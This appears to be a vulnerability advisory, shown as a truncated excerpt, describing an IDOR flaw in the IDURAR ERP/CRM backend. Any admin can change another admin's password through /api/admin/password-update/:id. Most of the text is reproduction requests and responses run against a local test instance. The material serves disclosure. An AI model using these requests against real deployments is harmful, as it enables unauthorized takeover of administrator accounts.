IDOR /api/admin/password-update/:id 允许任何管理员接管任何其他管理员帐户
作者: geo-chen创建于 2026年7月1日更新于 2026年7月8日
Environment: IDURAR backend running on http://localhost:9123 with two admin accounts:
- Attacker:
[email protected](ID:6a11c36b2fc5a8f00c5458fb) - Victim:
[email protected](ID:6a11c3817ea24cc9d9363753)
Step 1 -- Attacker logs in and obtains their JWT:
POST /api/login
{"email":"[email protected]","password":"Password123!"}
Response: {"success":true,"result":{"_id":"6a11c36b2fc5a8f00c5458fb","token":"<ATTACKER_TOKEN>", ...}}Step 2 -- Attacker reads victim admin profile (IDOR info disclosure):
GET /api/admin/read/6a11c3817ea24cc9d9363753
Authorization: Bearer <ATTACKER_TOKEN>
Response: {"success":true,"result":{"_id":"6a11c3817ea24cc9d9363753","email":"[email protected]","role":"owner",...}}Step 3 -- Attacker changes victim password using their own token:
PATCH /api/admin/password-update/6a11c3817ea24cc9d9363753
Authorization: Bearer <ATTACKER_TOKEN>
Content-Type: application/json
{"password":"AttackerControlled!"}
Response:
…内容来源: idurar/idurar-erp-crm